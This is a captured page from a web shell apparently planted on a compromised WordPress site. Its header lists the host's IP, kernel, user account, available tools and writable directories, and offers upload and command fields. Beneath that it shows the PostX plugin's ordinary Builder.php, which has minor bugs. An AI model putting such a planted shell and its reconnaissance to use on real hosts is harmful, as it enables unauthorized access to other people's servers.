403Webshell
Server IP : 172.67.214.6  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux premium900.web-hosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : redwjova ( 1790)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/redwjova/sort.llc/wp-content/plugins/ultimate-post/addons/builder/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/redwjova/sort.llc/wp-content/plugins/ultimate-post/addons/builder/Builder.php
<?php
namespace ULTP;

defined('ABSPATH') || exit;

class Builder {
    private $header_id   = '';
    private $footer_id   = '';
    private $theme_name = '';
    private $is_block_theme = '';

    public function __construct(){
        $this->builder_post_type_callback(); // Post Type Register
        add_action('wp', array($this, 'checkfor_header_footer'), 999);
        add_filter('template_include', array($this, 'include_builder_files'), 100);
        add_action('add_meta_boxes', array($this, 'init_metabox_callback'));
        add_action('save_post', array($this, 'metabox_save_data'));
        add_action('save_post', array($this, 'metabox_save_video_data'));
        add_action('delete_post', array($this, 'delete_option_meta_action'));
        add_action('load-post-new.php', array($this, 'disable_new_post_templates'));
    }

    public function checkfor_header_footer() {
        $this->theme_name = get_template();
        $this->is_block_theme = wp_is_block_theme();
        $header_id = ultimate_post()->builder_check_conditions('header');
        $footer_id = ultimate_post()->builder_check_conditions('footer');
        global $ULTP_HEADER_ID;
        global $ULTP_FOOTER_ID;
        
        if ( $header_id ) {
            $ULTP_HEADER_ID = $header_id;
            do_action('ultp_enqueue_postx_block_css',
				[
					'post_id' => $header_id,
					'css' => '',
				]
			);
            $this->header_id = $header_id;
            if ( $this->is_block_theme ) {
                add_action('wp_head', array($this, 'ultp_header_builder_template'));
            } else {
                switch ($this->theme_name) {
                    case 'astra':
                        remove_all_actions( 'astra_header' );
                        add_action('astra_header', array($this, 'ultp_header_builder_template'));
                        break;
                    default:
                        add_action('get_header', array($this, 'ultp_header_builder_template'));
                }
            }
		}
        if ( $footer_id ) {
            $ULTP_FOOTER_ID = $footer_id;
            $this->footer_id = $footer_id;
            do_action('ultp_enqueue_postx_block_css',
				[
					'post_id' => $footer_id,
					'css' => '',
				]
			);
            if ( $this->is_block_theme ) {
                add_action('wp_footer', array($this, 'ultp_footer_builder_template'));
            } else {
                switch ($this->theme_name) {
                    case 'astra':
                        remove_all_actions( 'astra_footer' );
                        add_action( 'astra_footer', array($this, 'ultp_footer_builder_template'));
                        break;
                    case 'generatepress':
                        remove_action( 'generate_footer', 'generate_construct_footer_widgets');
                        remove_action( 'generate_footer', 'generate_construct_footer' );
                        add_action( 'generate_footer', array($this, 'ultp_footer_builder_template'));
                        break;
                    default:
                        add_action('get_footer', array($this, 'ultp_footer_builder_template'));
                }
            }
		}
    }

    public function ultp_header_builder_template() {
        if ( $this->header_id ) {
            if ( $this->is_block_theme ) {
                remove_action('wp_head', array($this, 'ultp_header_builder_template'));
            } else {
                if ( $this->theme_name == 'generatepress' ) {
                    require_once ULTP_PATH.'addons/builder/templates/header.php';
                } else {
                    if ( $this->theme_name != 'astra' ) {  // Astra theme issue
                        require_once ULTP_PATH.'addons/builder/templates/header.php';
                    }
                    $templates   = [];
                    $templates[] = 'header.php';
                    remove_all_actions( 'wp_head' );
                    if ($this->theme_name != 'bricks') {  // Conflict with Bricks Builder Backend
                        ob_start(); 
                    }
                    locate_template( $templates, true );
                    if ($this->theme_name != 'bricks') { // Conflict with Bricks Builder Backend
                        ob_get_clean();
                    } else { 
                        wp_enqueue_style( 'wp-block-library' );  // Gutenberg CSS issue Bricks Builder frontend
                    }
                }
            }
            ?> 
                <header id="ultp-header-template" class="<?php esc_html_e('ultp-builderid-'.$this->header_id); ?>">
                    <?php echo ultimate_post()->get_post_content($this->header_id);  //phpcs:ignore  ?> 
                </header> 
            <?php
        }
	}
    public function ultp_footer_builder_template() {
        if ( $this->footer_id ) {

            ?> 
                <footer id="ultp-footer-template" class="<?php esc_html_e('ultp-builderid-'.$this->footer_id); ?>" role="contentinfo">
                    <?php echo ultimate_post()->get_post_content($this->footer_id) //phpcs:ignore ?>
                </footer> 
            <?php
            if ( !$this->is_block_theme ) {
                if ($this->theme_name == 'astra' || $this->theme_name == 'generatepress' ) {  // Astra theme issue
                    wp_footer();
                } else {
                    require_once ULTP_PATH.'addons/builder/templates/footer.php';
                }
                $templates   = [];
                $templates[] = 'footer.php';
                remove_all_actions( 'wp_footer' );
                if ($this->theme_name != 'bricks') { // Conflict with Bricks Builder Backend
                    ob_start();
                }
                locate_template( $templates, true );
                if ($this->theme_name != 'bricks') { // Conflict with Bricks Builder Backend
                    ob_get_clean();
                }
            }
        }
	}

    public function disable_new_post_templates() {
        if ( get_current_screen()->post_type == 'ultp_builder' && (!defined('ULTP_PRO_VER')) ){
            $post_count = wp_count_posts('ultp_builder');
            $post_count = $post_count->publish + $post_count->draft;
            if ($post_count > 0) {
                wp_die( 'You are not allowed to do that! Only one template can be created in the free version. Please <a target="_blank" href="'.esc_url(ultimate_post()->get_premium_link()).'">Upgrade Pro.</a>' );
            }
        }
    }

    public function delete_option_meta_action( $post_id ) {
        if (get_post_type( $post_id ) != 'ultp_builder') {
            return;
        }

        $conditions = get_option('ultp_builder_conditions', array());
        if($conditions){
            $has_change = false;
            if(isset($conditions['archive'][$post_id])) {
                $has_change = true;
                unset($conditions['archive'][$post_id]);
            }
            if(isset($conditions['singular'][$post_id])) {
                $has_change = true;
                unset($conditions['singular'][$post_id]);
            }
            if($has_change) {
                update_option('ultp_builder_conditions', $conditions);
            }
        }
        delete_post_meta($post_id, '_ultp_active');
    }


    public function include_builder_files($template) {
        $includes = ultimate_post()->builder_check_conditions('return');

        global $ultp_page_builder_id;
        if ( $includes ) {
            $ultp_page_builder_id = $includes;
            return ULTP_PATH.'addons/builder/templates/page.php';
        }
        return $template;
    }

    function init_metabox_callback() {
        $title = '<div class="ultp-add-media-image-head"><img src="'.ULTP_URL.'assets/img/logo-sm.svg" /><span>PostX Settings</span></div>';

        add_meta_box(
            'postx-builder-id',
            __('PostX Builder Settings', 'ultimate-post'), 
            array($this, 'container_width_callback'), 
            'ultp_builder', 
            'side'
        );
        add_meta_box(
            'ultp-feature-video',
            $title,
            array($this, 'video_source_callback'),
            'post',
            'side',
            'high'
        );
    }

    function video_source_callback($post) {
        wp_nonce_field('video_meta_box', 'video_meta_box_nonce');
        $video = get_post_meta($post->ID, '__builder_feature_video', true); 
        $caption = get_post_meta($post->ID, '__builder_feature_caption', true); 
        ?>
        <div class="ultp-meta-video">
            <?php if(current_user_can('administrator')) { ?>
                <a class="ultp-dash-builder-btn" target="_blank" href="<?php echo esc_url(admin_url('admin.php?page=ultp-settings#builder')); ?>"><?php echo esc_html__('Enable PostX Single Builder', 'ultimate-post'); ?> </a>
            <?php } ?>
            <label><?php echo esc_html__('Featured Video', 'ultimate-post'); ?></label>
            <div class="ultp-video-input">
                <input id="ultp-add-input" type="text" name="feature-video" value="<?php echo esc_attr($video); ?>" autocomplete="off"/>
                <button class="ultp-add-media"><span class="dashicons dashicons-cloud-upload"></span></button>
            </div>
            <span><strong><?php echo esc_html__('Note: ', 'ultimate-post'); ?></strong><?php echo esc_html__('Enter Youtube/ Vimeo/ Self Hosted URL', 'ultimate-post'); ?></span>
            <label><?php echo esc_html__('Featured Video Caption', 'ultimate-post'); ?></label>
            <input id="ultp-add-caption" type="text" name="video-caption" value="<?php echo esc_attr($caption); ?>" autocomplete="off"/>
        </div>
    <?php }


    function metabox_save_video_data($post_id) {
        if (!isset($_POST['video_meta_box_nonce'])) { return; }
        if (!wp_verify_nonce(sanitize_key(wp_unslash($_POST['video_meta_box_nonce'])), 'video_meta_box')) { return; }
        if (!isset( $_POST['feature-video'])) { return; }
        update_post_meta($post_id, '__builder_feature_video', sanitize_text_field($_POST['feature-video']));
        if (!isset( $_POST['video-caption'])) { return; }
        update_post_meta($post_id, '__builder_feature_caption', sanitize_text_field($_POST['video-caption']));
    }

    
    function container_width_callback($post) {
        wp_nonce_field('container_meta_box', 'container_meta_box_nonce');
        $width = get_post_meta($post->ID, '__container_width', true);
        $sidebar = get_post_meta($post->ID, '__builder_sidebar', true);
        $widget = get_post_meta($post->ID, '__builder_widget_area', true);
        $p_type = get_post_meta($post->ID, '__ultp_builder_type', true);
        $p_type = $p_type ? $p_type : 'archive';

        $widget_area = wp_get_sidebars_widgets();
        if (isset($widget_area['wp_inactive_widgets'])) { unset($widget_area['wp_inactive_widgets']); }
        if (isset($widget_area['array_version'])) { unset($widget_area['array_version']); }
        ?>

        <input type="hidden" name="postx-type" value="<?php echo esc_attr(isset($_GET['postx_type']) ? sanitize_text_field($_GET['postx_type']) : $p_type); // @codingStandardsIgnoreLine ?>"/>   
        <p>
            <label><?php echo esc_html__('Container Width', 'ultimate-post'); ?></label>
            <input type="number" style="width:100%" name="container-width" value="<?php echo esc_attr($width ? $width : 1140); ?>"/>
        </p>
        <p class="postx-meta-sidebar-position">
            <label><?php echo esc_html__('Sidebar', 'ultimate-post'); ?></label>
            <select name="builder-sidebar" style="width:88%">
                <option <?php selected( $sidebar, '' ); ?> value=""><?php echo esc_html__('- None -', 'ultimate-post'); ?></option>
                <option <?php selected( $sidebar, 'left' ); ?> value="left"><?php echo esc_html__('Left Sidebar', 'ultimate-post'); ?></option>
                <option <?php selected( $sidebar, 'right' ); ?> value="right"><?php echo esc_html__('Right Sidebar', 'ultimate-post'); ?></option>
            </select>
        </p>
        <p class="postx-meta-sidebar-widget">
            <label><?php echo esc_html__('Select Sidebar(Widget Area)', 'ultimate-post'); ?></label>
            <select name="builder-widget-area" style="width:88%">
                <option <?php selected( $sidebar, '' ); ?> value=""><?php echo esc_html__('- None -', 'ultimate-post'); ?></option>
                <?php foreach ($widget_area as $key => $val) { ?>
                    <option <?php selected( $widget, $key ); ?> value="<?php echo esc_attr($key); ?>"><?php echo esc_html(ucwords(str_replace('-', ' ', $key))); ?></option>
                <?php } ?>
            </select>
        </p>
    <?php }
    
    function metabox_save_data($post_id) {
        // For Featured Video
        if (isset($_POST['video_meta_box_nonce'])) {
            if (wp_verify_nonce(sanitize_key(wp_unslash($_POST['video_meta_box_nonce'])), 'video_meta_box')) {
                if (isset($_POST['feature-video'])) {
                    update_post_meta($post_id, '__builder_feature_video', sanitize_text_field($_POST['feature-video']));
                }
                if(!isset( $_POST['video-caption'])){
                    update_post_meta($post_id, '__builder_feature_caption', sanitize_text_field($_POST['video-caption']));
                }
            }
        }
        
        // For Container and Sidebar Information
        if (!isset($_POST['container_meta_box_nonce'])){ return; }
        if (!wp_verify_nonce( sanitize_key( wp_unslash($_POST['container_meta_box_nonce'])), 'container_meta_box')) { return; }
        if (isset($_POST['container-width'])) {
            update_post_meta($post_id, '__container_width', sanitize_text_field($_POST['container-width']));
        }
        if (isset($_POST['builder-sidebar'])) {
            update_post_meta($post_id, '__builder_sidebar', sanitize_text_field($_POST['builder-sidebar']));
        }
        if (isset($_POST['builder-widget-area'])) {
            update_post_meta($post_id, '__builder_widget_area', sanitize_text_field($_POST['builder-widget-area']));
        }

        // Save Conditions Data
        if ( get_post_type($post_id) == 'ultp_builder' ) {
            if ( get_post_type($post_id) == 'ultp_builder' ) {
                $settings = get_option('ultp_builder_conditions', array());
                $p_type = isset($_POST['postx-type']) ? sanitize_text_field($_POST['postx-type']) : 'singular';
                $up_meta = '';
                switch ($p_type) {
                    case 'singular':
                        if (isset($settings['singular'])) {
                            if (!isset($settings['singular'][$post_id])) {
                                $up_meta = 'singular';
                                $settings['singular'][$post_id] = ['include/singular/post'];
                            }
                        } else {
                            $up_meta = 'singular';
                            $settings['singular'][$post_id] = ['include/singular/post'];
                        }
                        break;
                    case 'front_page':
                        if ( isset($settings['front_page']) ) {
                            if ( !isset($settings['front_page'][$post_id]) ) {
                                $up_meta = 'front_page';
                                $settings['front_page'][$post_id] = ['include/front_page'];
                            }
                        } else {
                            $up_meta = 'front_page';
                            $settings['front_page'][$post_id] = ['include/front_page'];
                        }
                        break;
                    case 'post_tag':
                    case 'date':
                    case 'search':
                    case 'author':
                    case 'archive':
                    case 'category':
                        $extra = $p_type != 'archive' ? '/'.$p_type : '';
                        if (isset($settings['archive'])) {
                            if (!isset($settings['archive'][$post_id])) {
                                $up_meta = 'archive';
                                $settings['archive'][$post_id] = ['include/archive'.$extra];
                            }
                        } else {
                            $up_meta = 'archive';
                            $settings['archive'][$post_id] = ['include/archive'+$extra];
                        }
                        break;
                    case 'header':
                        if ( isset($settings['header']) ) {
                            if ( !isset($settings['header'][$post_id]) ) {
                                $up_meta = 'header';
                                $settings['header'][$post_id] = ['include/header/entire_site'];
                            }
                        } else {
                            $up_meta = 'header';
                            $settings['header'][$post_id] = ['include/header/entire_site'];
                        }
                        break;
                    case 'footer':
                        if ( isset($settings['footer']) ) {
                            if ( !isset($settings['footer'][$post_id]) ) {
                                $up_meta = 'footer';
                                $settings['footer'][$post_id] = ['include/footer/entire_site'];
                            }
                        } else {
                            $up_meta = 'footer';
                            $settings['footer'][$post_id] = ['include/footer/entire_site'];
                        }
                        break;
                    case '404':
                        if ( isset($settings['404']) ) {
                            if ( !isset($settings['404'][$post_id]) ) {
                                $up_meta = '404';
                                $settings['404'][$post_id] = ['include/404'];
                            }
                        } else {
                            $up_meta = '404';
                            $settings['404'][$post_id] = ['include/404'];
                        }
                    default:
                        break;
                }
                if ( $up_meta ) {
                    update_post_meta($post_id, '__ultp_builder_type', $up_meta);
                }
                update_option('ultp_builder_conditions', $settings);
            }
        }
    }

    // Builder Post Type Register
    public function builder_post_type_callback() {
        $labels = array(
            'name'                => _x( 'Builder', 'Builder', 'ultimate-post' ),
            'singular_name'       => _x( 'Builder', 'Builder', 'ultimate-post' ),
            'menu_name'           => __( 'Builder', 'ultimate-post' ),
            'parent_item_colon'   => __( 'Parent Builder', 'ultimate-post' ),
            'all_items'           => __( 'Builder', 'ultimate-post' ),
            'view_item'           => __( 'View Builder', 'ultimate-post' ),
            'add_new_item'        => __( 'Add New', 'ultimate-post' ),
            'add_new'             => __( 'Add New', 'ultimate-post' ),
            'edit_item'           => __( 'Edit Builder', 'ultimate-post' ),
            'update_item'         => __( 'Update Builder', 'ultimate-post' ),
            'search_items'        => __( 'Search Builder', 'ultimate-post' ),
            'not_found'           => __( 'No Builder Found', 'ultimate-post' ),
            'not_found_in_trash'  => __( 'Not Builder found in Trash', 'ultimate-post' ),
        );
        $args = array(
            'labels'              => $labels,
            'show_in_rest'        => true,
            'supports'            => array( 'title', 'editor', 'comments' ),
            'hierarchical'        => false,
            'public'              => false,
            'rewrite'             => false,
            'show_ui'             => true,
            'show_in_menu'        => false,
            'show_in_nav_menus'   => false,
            'exclude_from_search' => true,
            'capability_type'     => 'page',
        );
        register_post_type( 'ultp_builder', $args );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit